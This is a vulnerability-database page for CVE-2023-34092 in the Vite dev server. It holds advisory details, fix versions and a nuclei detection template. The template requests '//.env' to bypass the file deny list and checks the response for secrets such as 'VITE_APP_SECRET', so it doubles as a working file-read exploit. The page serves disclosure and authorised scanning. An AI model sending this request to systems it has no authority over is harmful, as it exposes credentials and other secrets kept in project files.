HexBrain

Browse / CVEs / CVE-2023-34092

CVE-2023-34092· CWE-50

Vite Dev Server - Information Exposure

highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.

Impact

Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.

Fix

Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.

How to confirm it

Send: GET {{BaseURL}}/.env
Positive when: status 403
Send: GET {{BaseURL}}//.env
Positive when: contains "VITE_APP_SECRET" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34092 -u <target>

The full check
id: CVE-2023-34092

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
  impact: |
    Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.
  remediation: |
    Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34092
    epss-score: 0.03152
    epss-percentile: 0.88054
    cwe-id: CWE-50
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,env,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}//.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from